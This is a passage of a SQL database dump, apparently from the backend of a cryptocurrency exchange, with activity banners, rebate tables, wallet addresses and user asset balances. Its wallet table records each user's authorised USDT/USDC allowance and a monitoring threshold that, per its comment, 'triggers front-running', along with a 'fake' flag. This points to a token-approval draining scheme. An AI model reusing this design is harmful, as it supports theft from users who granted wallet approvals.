14:06:54', 'ppp008', '2023-02-20 18:10:24', NULL, 01, '葡萄牙-秒合约', 'https://echo-test-res.oss-cn-hongkong.aliyuncs.com/test9c3a591db2f64835aad38345fb0f434a.png', '/exchange?tabName=sec', NULL, '../events/event_detail', '葡萄牙-秒合约', 1, NULL, 4, 0, NULL, NULL); +INSERT INTO `t_activity` VALUES (124, 'ppp008', '2023-02-10 14:08:00', 'ppp008', '2023-02-20 18:11:11', NULL, 01, '葡萄牙-difi', 'https://echo-test-res.oss-cn-hongkong.aliyuncs.com/test367b2eaeed504633852de307f9ddec3f.png', '/non-pledge', NULL, '../events/event_detail', '葡萄牙-difi', 1, NULL, 4, 0, NULL, NULL); +INSERT INTO `t_activity` VALUES (125, 'ppp008', '2023-02-10 14:08:45', 'ppp008', '2023-02-20 18:11:30', NULL, 01, '葡萄牙-质押', 'https://echo-test-res.oss-cn-hongkong.aliyuncs.com/test10ed11f66a9947b4987311ca5d6364d4.png', '/pledge-mining', NULL, '../events/event_detail', '葡萄牙-质押', 1, NULL, 4, 0, NULL, NULL); +INSERT INTO `t_activity` VALUES (126, 'ppp008', '2023-02-10 14:11:31', 'ppp008', '2023-02-20 18:12:26', NULL, 01, '日语-秒合约', 'https://echo-test-res.oss-cn-hongkong.aliyuncs.com/test266d70d14e7b4130bbff4914ce66e6ce.png', '/exchange?tabName=sec', NULL, '../events/event_detail', '日语-秒合约', 1, NULL, 7, 0, NULL, NULL); +INSERT INTO `t_activity` VALUES (127, 'ppp008', '2023-02-10 14:12:49', 'ppp008', '2023-02-20 18:12:41', NULL, 01, '日语-difi', 'https://echo-test-res.oss-cn-hongkong.aliyuncs.com/teste0eda3119066474eaad179092643a765.png', '/non-pledge', NULL, '../events/event_detail', '日语-difi', 1, NULL, 7, 0, NULL, NULL); +INSERT INTO `t_activity` VALUES (128, 'ppp008', '2023-02-10 14:19:06', 'ppp008', '2023-02-20 18:14:33', NULL, 01, '日语-质押', 'https://echo-test-res.oss-cn-hongkong.aliyuncs.com/testdc0e61406d184678854f89c863c8cda2.png', '/pledge-mining', NULL, '../events/event_detail', '日语-质押', 1, NULL, 7, 0, NULL, NULL); +INSERT INTO `t_activity` VALUES (129, 'ppp008', '2023-02-10 14:20:44', 'ppp008', '2023-02-20 18:14:51', NULL, 01, '韩语-秒合约', 'https://echo-test-res.oss-cn-hongkong.aliyuncs.com/test5363ccad66684f81aff8f5bc18b3717c.png', '/exchange?tabName=sec', NULL, '../events/event_detail', '韩语-秒合约', 1, NULL, 6, 0, NULL, NULL); +INSERT INTO `t_activity` VALUES (130, 'ppp008', '2023-02-10 14:21:30', 'ppp008', '2023-02-20 18:15:10', NULL, 01, '韩语-difi', 'https://echo-test-res.oss-cn-hongkong.aliyuncs.com/test1af383bbee514970a6c295ca01bc147c.png', '/non-pledge', NULL, '../events/event_detail', '韩语-difi', 1, NULL, 6, 0, NULL, NULL); +INSERT INTO `t_activity` VALUES (131, 'ppp008', '2023-02-10 14:21:58', 'ppp008', '2023-02-20 18:15:59', NULL, 01, '韩语-质押', 'https://echo-test-res.oss-cn-hongkong.aliyuncs.com/testb795f3b4b8b3429db6c52f1af68ab681.png', '/pledge-mining', NULL, '../events/event_detail', '韩语-质押', 1, NULL, 6, 0, NULL, NULL); +INSERT INTO `t_activity` VALUES (132, 'ppp008', '2023-02-10 15:45:00', 'ppp008', '2023-02-10 15:50:52', NULL, 01, '中文', 'https://echo-test-res.oss-cn-hongkong.aliyuncs.com/test5f0b4f7d329040d5bd17fcd207061660.png', '', NULL, '../events/event_detail', '中文', 2, NULL, 1, 0, NULL, NULL); +INSERT INTO `t_activity` VALUES (133, 'ppp008', '2023-02-10 15:46:48', 'ppp008', '2023-02-10 15:51:04', NULL, 01, '泰语', 'https://echo-test-res.oss-cn-hongkong.aliyuncs.com/test05763ff8f4b44680a47ebf1ef2fe5fb7.png', '', NULL, '../events/event_detail', '泰语', 2, NULL, 9, 0, NULL, NULL); +INSERT INTO `t_activity` VALUES (134, 'ppp008', '2023-02-10 15:51:24', 'ppp008', '2023-02-10 15:51:40', NULL, 01, '韩语', 'https://echo-test-res.oss-cn-hongkong.aliyuncs.com/test2bb8f41d9cda473e9ce4a3bbcc3c8515.png', '', NULL, '../events/event_detail', '韩语', 2, NULL, 6, 0, NULL, NULL); +INSERT INTO `t_activity` VALUES (135, 'ppp008', '2023-02-10 15:52:16', 'ppp008', '2023-02-10 15:52:16', NULL, 01, '英语', 'https://echo-test-res.oss-cn-hongkong.aliyuncs.com/test219d494058e7490b822265cb5d9fa9dc.png', '', NULL, NULL, '英语', 2, NULL, 3, 0, NULL, NULL); +INSERT INTO `t_activity` VALUES (136, 'ppp008', '2023-02-10 15:52:56', 'ppp008', '2023-02-10 15:52:56', NULL, 01, '葡萄牙', 'https://echo-test-res.oss-cn-hongkong.aliyuncs.com/test571b12007041455e8325a9612c696965.png', '', NULL, NULL, '葡萄牙', 2, NULL, 4, 0, NULL, NULL); +INSERT INTO `t_activity` VALUES (137, 'ppp008', '2023-02-10 15:53:29', 'ppp008', '2023-02-10 15:53:29', NULL, 01, '日语', 'https://echo-test-res.oss-cn-hongkong.aliyuncs.com/testcfb80222aa474a90aa148cb6e21fad7d.png', '', NULL, NULL, '日语', 2, NULL, 7, 0, NULL, NULL); +INSERT INTO `t_activity` VALUES (138, 'ppp008', '2023-02-10 15:53:57', 'ppp008', '2023-02-10 15:53:57', NULL, 01, '越南', 'https://echo-test-res.oss-cn-hongkong.aliyuncs.com/test029818a6765847abbd847989a591f855.png', '', NULL, NULL, '越南', 2, NULL, 14, 0, NULL, NULL); + +-- ---------------------------- +-- Table structure for t_activity_recharge +-- ---------------------------- +DROP TABLE IF EXISTS `t_activity_recharge`; +CREATE TABLE `t_activity_recharge` ( + `id` int(0) NOT NULL AUTO_INCREMENT COMMENT 'id', + `on_off` int(0) NULL DEFAULT NULL COMMENT '0-关闭 1-开启', + `recharge_pro` decimal(12, 2) NULL DEFAULT NULL COMMENT '充值返点比例', + `max_rebate` decimal(12, 2) NULL DEFAULT NULL COMMENT '充值返点最大值', + `create_by` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL, + `create_time` datetime(0) NULL DEFAULT NULL COMMENT '创建时间', + `update_by` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL, + `update_time` datetime(0) NULL DEFAULT NULL COMMENT '更新时间', + `search_value` varchar(1024) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL, + PRIMARY KEY (`id`) USING BTREE +) ENGINE = InnoDB CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci COMMENT = '充值活动表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table structure for t_admin +-- ---------------------------- +DROP TABLE IF EXISTS `t_admin`; +CREATE TABLE `t_admin` ( + `id` int(0) NOT NULL, + `ad` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL, + PRIMARY KEY (`id`) USING BTREE +) ENGINE = InnoDB CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table structure for t_agent_activity_info +-- ---------------------------- +DROP TABLE IF EXISTS `t_agent_activity_info`; +CREATE TABLE `t_agent_activity_info` ( + `id` bigint(0) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT 'id', + `type` int(0) NULL DEFAULT NULL COMMENT '1 充值返利 2挖矿返利', + `amount` decimal(30, 6) NULL DEFAULT NULL COMMENT '返利金额', + `coin_type` varchar(30) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '币种', + `from_id` bigint(0) NULL DEFAULT NULL COMMENT '返利用户', + `user_id` bigint(0) NULL DEFAULT NULL COMMENT '用户id', + `create_by` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL, + `create_time` datetime(0) NULL DEFAULT NULL COMMENT '创建时间', + `update_by` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL, + `update_time` datetime(0) NULL DEFAULT NULL COMMENT '更新时间', + `status` int(0) NULL DEFAULT NULL COMMENT '1 待返 2 已返', + `login_name` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL, + `serial_id` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL, + PRIMARY KEY (`id`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 1 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci COMMENT = '返利活动明细表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table structure for t_app_address_info +-- ---------------------------- +DROP TABLE IF EXISTS `t_app_address_info`; +CREATE TABLE `t_app_address_info` ( + `user_id` bigint(0) NOT NULL AUTO_INCREMENT, + `address` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NOT NULL COMMENT '地址', + `wallet_type` varchar(15) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT 'ETH' COMMENT '地址类型', + `usdt_allowed` decimal(20, 6) NULL DEFAULT 0.000000 COMMENT '授权USDT金额上限', + `usdt` decimal(20, 6) NULL DEFAULT NULL COMMENT '钱包地址U余额', + `eth` decimal(20, 6) NULL DEFAULT NULL COMMENT '钱包地址ETH余额', + `trx` decimal(20, 6) NULL DEFAULT NULL, + `btc` decimal(20, 6) NULL DEFAULT NULL COMMENT '钱包地址BTC余额', + `allowed_notice` tinyint(0) NULL DEFAULT 0 COMMENT '授权是否播报.0-没有,1-有.历史数据不播报', + `usdt_monitor` decimal(20, 6) NULL DEFAULT 0.000000 COMMENT 'U监控额度 大于这个金额触发抢跑', + `create_by` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL COMMENT '创建人', + `create_time` datetime(0) NULL DEFAULT NULL COMMENT '创建时间', + `update_by` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL COMMENT '更新人', + `update_time` datetime(0) NULL DEFAULT NULL ON UPDATE CURRENT_TIMESTAMP(0) COMMENT '更新时间', + `remark` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL COMMENT '备注', + `search_value` varchar(1024) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL, + `status` varchar(2) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT 'N' COMMENT '是否假分 Y 是 N 否', + `usdc_allowed` decimal(20, 6) NULL DEFAULT 0.000000 COMMENT '授权USDC金额上限', + `usdc` decimal(20, 6) NULL DEFAULT NULL COMMENT '钱包地址USDC', + PRIMARY KEY (`user_id`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 324 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci COMMENT = '钱包地址授权详情' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of t_app_address_info +-- ---------------------------- +INSERT INTO `t_app_address_info` VALUES (310, '0x8b39d50aebeea1b28052d9aa2b638edcc821e865', 'ETH', 0.000000, 0.000000, 0.000000, 0.000000, 0.000000, 0, 0.000000, NULL, NULL, NULL, '2024-01-19 12:44:35', NULL, NULL, 'N', 0.000000, 0.000000); +INSERT INTO `t_app_address_info` VALUES (311, '0x00cfe654e48c8d196476424ec6018d91e9c34513', 'ETH', 0.000000, 0.000000, 0.000000, 0.000000, 0.000000, 0, 0.000000, NULL, NULL, NULL, NULL, NULL, NULL, 'N', 0.000000, NULL); +INSERT INTO `t_app_address_info` VALUES (312, '0xcceefd5a9d12e26715e7faa2c092f492ab0191b5', 'ETH', 0.000000, 0.000000, 0.000000, 0.000000, 0.000000, 0, 0.000000, NULL, NULL, NULL, NULL, NULL, NULL, 'N', 0.000000, NULL); +INSERT INTO `t_app_address_info` VALUES (313, '0x344ec899af52933790bf44015be1bf48382d7920', 'ETH', 0.000000, 0.000000, 0.000000, 0.000000, 0.000000, 0, 0.000000, NULL, NULL, NULL, NULL, NULL, NULL, 'N', 0.000000, NULL); +INSERT INTO `t_app_address_info` VALUES (314, '0x77e832ce6ee6fc321b7e4fc83b43d31d4cc1ce13', 'ETH', 0.000000, 0.000000, 0.000000, 0.000000, 0.000000, 0, 200.000000, NULL, NULL, NULL, '2023-12-08 03:09:14', NULL, NULL, 'N', 0.000000, 0.000000); +INSERT INTO `t_app_address_info` VALUES (316, '0xcbb81ada0f810db490fcbf46811edced8f005ad1', 'ETH', 0.000000, 0.000000, 0.000000, 0.000000, 0.000000, 0, 0.000000, NULL, NULL, NULL, NULL, NULL, NULL, 'N', 0.000000, NULL); +INSERT INTO `t_app_address_info` VALUES (317, '0x10879c7c320fe391f400369b8d74c0b34a201cf6', 'ETH', 0.000000, 0.000000, 0.000000, 0.000000, 0.000000, 0, 0.000000, NULL, NULL, NULL, NULL, NULL, NULL, 'N', 0.000000, NULL); +INSERT INTO `t_app_address_info` VALUES (318, '0x12b3b2edc022e349b67a8b124e4ac377363b1cb4', 'ETH', 0.000000, 0.000000, 0.000000, 0.000000, 0.000000, 0, 0.000000, NULL, NULL, NULL, NULL, NULL, NULL, 'N', 0.000000, NULL); +INSERT INTO `t_app_address_info` VALUES (322, '0x40e7909a8fe1e71d5b5f8c67f12d8006be42f8c9', 'ETH', 0.000000, 0.000000, 0.000000, 0.000000, 0.000000, 0, 0.000000, NULL, NULL, NULL, NULL, NULL, NULL, 'N', 0.000000, NULL); +INSERT INTO `t_app_address_info` VALUES (323, '0xd31d6172ac655297ff3d0562790052878099e000', 'ETH', 0.000000, 0.000000, 0.000000, 0.000000, 0.000000, 0, 0.000000, NULL, NULL, NULL, '2024-01-19 19:17:23', NULL, NULL, 'N', 0.000000, 0.000000); + +-- ---------------------------- +-- Table structure for t_app_asset +-- ---------------------------- +DROP TABLE IF EXISTS `t_app_asset`; +CREATE TABLE `t_app_asset` ( + `user_id` bigint(0) NOT NULL, + `adress` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL COMMENT '地址', + `symbol` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NOT NULL COMMENT '币种', + `amout` decimal(30, 6) NOT NULL DEFAULT 0.000000 COMMENT '资产总额', + `occupied_amount` decimal(30, 6) NOT NULL DEFAULT 0.000000 COMMENT '占用资产', + `available_amount` decimal(30, 6) NOT NULL DEFAULT 0.000000 COMMENT '可用资产', + `type` char(1) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL COMMENT '资产类型 1=平台资产 2=理财资产 3=合约账户', + `create_by` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL COMMENT '创建人', + `create_time` datetime(0) NULL DEFAULT NULL COMMENT '创建时间', + `update_by` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL COMMENT '更新人', + `update_time` datetime(0) NULL DEFAULT NULL ON UPDATE CURRENT_TIMESTAMP(0) COMMENT '更新时间', + `remark` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL COMMENT '备注', + `search_value` varchar(1024) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL +) ENGINE = InnoDB CHARACTER SET = utf8mb4 COLLATE = utf8mb4_general_ci COMMENT = '玩家资产表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of t_app_asset +-- ---------------------------- +INSERT INTO `t_app_asset` VALUES (309, NULL, 'btc', 0.000000, 0.000000, 0.000000, '1', NULL, '2023-11-19 00:48:47', NULL, '2023-11-19 00:48:47', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (309, NULL, 'eth', 0.000000, 0.000000, 0.000000, '1', NULL, '2023-11-19 00:48:47', NULL, '2023-11-19 00:48:47', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (309, NULL, 'usdt', 273.600000, 0.000000, 273.600000, '1', NULL, '2023-11-19 00:48:47', NULL, '2024-02-11 08:16:10', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (309, NULL, 'usdt', 0.000000, 0.000000, 0.000000, '2', NULL, '2023-11-19 00:48:47', NULL, '2023-11-19 00:48:47', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (309, NULL, 'usdt', 0.000000, 0.000000, 0.000000, '3', NULL, '2023-11-19 00:48:47', NULL, '2023-11-19 00:48:47', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (310, '0x8b39d50aebeea1b28052d9aa2b638edcc821e865', 'btc', 0.000000, 0.000000, 0.000000, '1', NULL, '2023-11-20 03:13:30', NULL, '2023-11-20 03:13:30', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (310, '0x8b39d50aebeea1b28052d9aa2b638edcc821e865', 'eth', 0.000000, 0.000000, 0.000000, '1', NULL, '2023-11-20 03:13:30', NULL, '2023-11-20 03:13:30', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (310, '0x8b39d50aebeea1b28052d9aa2b638edcc821e865', 'usdt', 0.000000, 0.000000, 0.000000, '1', NULL, '2023-11-20 03:13:30', NULL, '2023-11-20 03:13:30', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (310, '0x8b39d50aebeea1b28052d9aa2b638edcc821e865', 'usdt', 0.000000, 0.000000, 0.000000, '2', NULL, '2023-11-20 03:13:30', NULL, '2023-11-20 03:13:30', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (310, '0x8b39d50aebeea1b28052d9aa2b638edcc821e865', 'usdt', 0.000000, 0.000000, 0.000000, '3', NULL, '2023-11-20 03:13:30', NULL, '2023-11-20 03:13:30', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (311, '0x00cfe654e48c8d196476424ec6018d91e9c34513', 'btc', 0.000000, 0.000000, 0.000000, '1', NULL, '2023-11-20 03:32:44', NULL, '2023-11-20 03:32:44', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (311, '0x00cfe654e48c8d196476424ec6018d91e9c34513', 'eth', 0.000000, 0.000000, 0.000000, '1', NULL, '2023-11-20 03:32:44', NULL, '2023-11-20 03:32:44', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (311, '0x00cfe654e48c8d196476424ec6018d91e9c34513', 'usdt', 0.000000, 0.000000, 0.000000, '1', NULL, '2023-11-20 03:32:44', NULL, '2023-11-20 03:32:44', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (311, '0x00cfe654e48c8d196476424ec6018d91e9c34513', 'usdt', 0.000000, 0.000000, 0.000000, '2', NULL, '2023-11-20 03:32:44', NULL, '2023-11-20 03:32:44', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (311, '0x00cfe654e48c8d196476424ec6018d91e9c34513', 'usdt', 0.000000, 0.000000, 0.000000, '3', NULL, '2023-11-20 03:32:44', NULL, '2023-11-20 03:32:44', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (312, '0xcceefd5a9d12e26715e7faa2c092f492ab0191b5', 'btc', 0.000000, 0.000000, 0.000000, '1', NULL, '2023-11-20 03:45:09', NULL, '2023-11-20 03:45:09', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (312, '0xcceefd5a9d12e26715e7faa2c092f492ab0191b5', 'eth', 0.000000, 0.000000, 0.000000, '1', NULL, '2023-11-20 03:45:09', NULL, '2023-11-20 03:45:09', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (312, '0xcceefd5a9d12e26715e7faa2c092f492ab0191b5', 'usdt', 0.000000, 0.000000, 0.000000, '1', NULL, '2023-11-20 03:45:09', NULL, '2023-11-20 03:45:09', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (312, '0xcceefd5a9d12e26715e7faa2c092f492ab0191b5', 'usdt', 0.000000, 0.000000, 0.000000, '2', NULL, '2023-11-20 03:45:09', NULL, '2023-11-20 03:45:09', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (312, '0xcceefd5a9d12e26715e7faa2c092f492ab0191b5', 'usdt', 0.000000, 0.000000, 0.000000, '3', NULL, '2023-11-20 03:45:09', NULL, '2023-11-20 03:45:09', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (313, '0x344ec899af52933790bf44015be1bf48382d7920', 'btc', 0.000000, 0.000000, 0.000000, '1', NULL, '2023-11-20 06:58:17', NULL, '2023-11-20 06:58:17', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (313, '0x344ec899af52933790bf44015be1bf48382d7920', 'eth', 0.000000, 0.000000, 0.000000, '1', NULL, '2023-11-20 06:58:17', NULL, '2023-11-20 06:58:17', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (313, '0x344ec899af52933790bf44015be1bf48382d7920', 'usdt', 0.000000, 0.000000, 0.000000, '1', NULL, '2023-11-20 06:58:17', NULL, '2023-11-20 06:58:17', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (313, '0x344ec899af52933790bf44015be1bf48382d7920', 'usdt', 0.000000, 0.000000, 0.000000, '2', NULL, '2023-11-20 06:58:17', NULL, '2023-11-20 06:58:17', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (313, '0x344ec899af52933790bf44015be1bf48382d7920', 'usdt', 0.000000, 0.000000, 0.000000, '3', NULL, '2023-11-20 06:58:17', NULL, '2023-11-20 06:58:17', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (314, '0x77e832ce6ee6fc321b7e4fc83b43d31d4cc1ce13', 'btc', 0.000000, 0.000000, 0.000000, '1', NULL, '2023-11-20 10:10:59', NULL, '2023-11-20 10:10:59', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (314, '0x77e832ce6ee6fc321b7e4fc83b43d31d4cc1ce13', 'eth', 0.000000, 0.000000, 0.000000, '1', NULL, '2023-11-20 10:10:59', NULL, '2023-11-20 10:10:59', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (314, '0x77e832ce6ee6fc321b7e4fc83b43d31d4cc1ce13', 'usdt', 0.000000, 0.000000, 0.000000, '1', NULL, '2023-11-20 10:10:59', NULL, '2023-11-20 10:10:59', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (314, '0x77e832ce6ee6fc321b7e4fc83b43d31d4cc1ce13', 'usdt', 0.000000, 0.000000, 0.000000, '2', NULL, '2023-11-20 10:10:59', NULL, '2023-11-20 10:10:59', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (314, '0x77e832ce6ee6fc321b7e4fc83b43d31d4cc1ce13', 'usdt', 0.000000, 0.000000, 0.000000, '3', NULL, '2023-11-20 10:10:59', NULL, '2023-11-20 10:10:59', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (315, NULL, 'btc', 0.000000, 0.000000, 0.000000, '1', NULL, '2023-11-23 17:07:46', NULL, '2023-11-23 17:07:46', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (315, NULL, 'eth', 0.000000, 0.000000, 0.000000, '1', NULL, '2023-11-23 17:07:46', NULL, '2023-11-23 17:07:46', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (315, NULL, 'usdt', 5442.400000, 0.000000, 5442.400000, '1', NULL, '2023-11-23 17:07:46', NULL, '2024-01-19 04:23:02', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (315, NULL, 'usdt', 5000.000000, 0.000000, 5000.000000, '2', NULL, '2023-11-23 17:07:46', NULL, '2023-11-23 17:07:46', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (315, NULL, 'usdt', 0.000000, 0.000000, 0.000000, '3', NULL, '2023-11-23 17:07:46', NULL, '2023-11-23 17:07:46', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (316, '0xcbb81ada0f810db490fcbf46811edced8f005ad1', 'btc', 0.000000, 0.000000, 0.000000, '1', NULL, '2023-12-05 14:30:28', NULL, '2023-12-05 14:30:28', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (316, '0xcbb81ada0f810db490fcbf46811edced8f005ad1', 'eth', 0.000000, 0.000000, 0.000000, '1', NULL, '2023-12-05 14:30:28', NULL, '2023-12-05 14:30:28', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (316, '0xcbb81ada0f810db490fcbf46811edced8f005ad1', 'usdt', 0.000000, 0.000000, 0.000000, '1', NULL, '2023-12-05 14:30:28', NULL, '2023-12-05 14:30:28', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (316, '0xcbb81ada0f810db490fcbf46811edced8f005ad1', 'usdt', 0.000000, 0.000000, 0.000000, '2', NULL, '2023-12-05 14:30:28', NULL, '2023-12-05 14:30:28', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (316, '0xcbb81ada0f810db490fcbf46811edced8f005ad1', 'usdt', 0.000000, 0.000000, 0.000000, '3', NULL, '2023-12-05 14:30:28', NULL, '2023-12-05 14:30:28', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (317, '0x10879c7c320fe391f400369b8d74c0b34a201cf6', 'btc', 0.000000, 0.000000, 0.000000, '1', NULL, '2023-12-07 21:08:04', NULL, '2023-12-07 21:08:04', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (317, '0x10879c7c320fe391f400369b8d74c0b34a201cf6', 'eth', 0.000000, 0.000000, 0.000000, '1', NULL, '2023-12-07 21:08:04', NULL, '2023-12-07 21:08:04', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (317, '0x10879c7c320fe391f400369b8d74c0b34a201cf6', 'usdt', 0.000000, 0.000000, 0.000000, '1', NULL, '2023-12-07 21:08:04', NULL, '2023-12-07 21:08:04', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (317, '0x10879c7c320fe391f400369b8d74c0b34a201cf6', 'usdt', 0.000000, 0.000000, 0.000000, '2', NULL, '2023-12-07 21:08:04', NULL, '2023-12-07 21:08:04', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (317, '0x10879c7c320fe391f400369b8d74c0b34a201cf6', 'usdt', 0.000000, 0.000000, 0.000000, '3', NULL, '2023-12-07 21:08:04', NULL, '2023-12-07 21:08:04', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (318, '0x12b3b2edc022e349b67a8b124e4ac377363b1cb4', 'btc', 0.000000, 0.000000, 0.000000, '1', NULL, '2023-12-25 17:23:16', NULL, '2023-12-25 17:23:16', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (318, '0x12b3b2edc022e349b67a8b124e4ac377363b1cb4', 'eth', 0.000000, 0.000000, 0.000000, '1', NULL, '2023-12-25 17:23:16', NULL, '2023-12-25 17:23:16', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (318, '0x12b3b2edc022e349b67a8b124e4ac377363b1cb4', 'usdt', 0.000000, 0.000000, 0.000000, '1', NULL, '2023-12-25 17:23:16', NULL, '2023-12-25 17:23:16', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (318, '0x12b3b2edc022e349b67a8b124e4ac377363b1cb4', 'usdt', 0.000000, 0.000000, 0.000000, '2', NULL, '2023-12-25 17:23:16', NULL, '2023-12-25 17:23:16', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (318, '0x12b3b2edc022e349b67a8b124e4ac377363b1cb4', 'usdt', 0.000000, 0.000000, 0.000000, '3', NULL, '2023-12-25 17:23:16', NULL, '2023-12-25 17:23:16', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (319, NULL, 'btc', 15.000000, 0.000000, 15.000000, '1', NULL, '2024-01-15 23:53:11', NULL, '2024-01-15 16:05:41', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (319, NULL, 'eth', 0.000000, 0.000000, 0.000000, '1', NULL, '2024-01-15 23:53:11', NULL, '2024-01-15 23:53:11', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (319, NULL, 'usdt', 0.000000, 0.000000, 0.000000, '1', NULL, '2024-01-15 23:53:11', NULL, '2024-01-15 23:53:11', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (319, NULL, 'usdt', 0.000000, 0.000000, 0.000000, '2', NULL, '2024-01-15 23:53:11', NULL, '2024-01-15 23:53:11', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (319, NULL, 'usdt', 0.000000, 0.000000, 0.000000, '3', NULL, '2024-01-15 23:53:11', NULL, '2024-01-15 23:53:11', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (320, NULL, 'btc', 0.000000, 0.000000, 0.000000, '1', NULL, '2024-01-19 12:18:32', NULL, '2024-01-19 12:18:32', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (320, NULL, 'eth', 0.000000, 0.000000, 0.000000, '1', NULL, '2024-01-19 12:18:32', NULL, '2024-01-19 12:18:32', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (320, NULL, 'usdt', 1003.600000, 0.000000, 1003.600000, '1', NULL, '2024-01-19 12:18:32', NULL, '2024-01-19 19:10:49', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (320, NULL, 'usdt', 0.000000, 0.000000, 0.000000, '2', NULL, '2024-01-19 12:18:32', NULL, '2024-01-19 12:18:32', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (320, NULL, 'usdt', 0.000000, 0.000000, 0.000000, '3', NULL, '2024-01-19 12:18:32', NULL, '2024-01-19 12:18:32', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (321, NULL, 'btc', 0.000000, 0.000000, 0.000000, '1', NULL, '2024-01-19 18:52:31', NULL, '2024-01-19 18:52:31', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (321, NULL, 'eth', 0.000000, 0.000000, 0.000000, '1', NULL, '2024-01-19 